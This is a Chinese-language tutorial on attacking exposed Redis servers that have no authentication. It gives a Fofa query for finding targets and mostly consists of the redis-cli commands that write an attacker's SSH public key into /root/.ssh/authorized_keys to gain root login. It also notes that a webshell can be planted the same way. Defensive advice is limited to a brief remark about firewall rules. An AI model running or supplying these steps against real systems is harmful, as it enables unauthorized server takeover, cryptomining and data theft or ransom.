前言
Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。
部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。 目前比较主流的案例:yam2 minerd 挖矿程序,还有在多次应急事件中发现大量的watch-smartd挖矿木马。
Fofa
protocol="redis"
Rides-cli安装
下载rides-stable文件
wget http://download.redis.io/redis-stable.tar.gz
解压文件
tar -zxvf redis-stable.tar.gz
直接使用src目录下的rides-cli工具即可
./redis-cli -h 目标主机IP地址 -p 端口号
漏洞利用
1.生成公钥和私钥
ssh-keygen -t rsa
2.将公钥存储为文本(也可以通过直接粘贴的方式写入)
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
3.写入公钥
//将公钥设置为字符串xxx,就可以通过xxx直接表示公钥了
cat /root/.ssh/key.txt | ./redis-cli -h 192.168.10.153 -x set xxx
config set dir /root/.ssh
config set dbfilename authorized_keys
set xxx
save
注意
如果想要访问root目录,必须具有root权限,也就是redis必须是root权限运行的才可以哦
也可以使用同样的方式写入webshell,不过需要知道网站的绝对路径和目录可操作权限
参考:
https://www.cnblogs.com/lcxblogs/articles/13534983.html
https://blog.csdn.net/limb0/article/details/100768767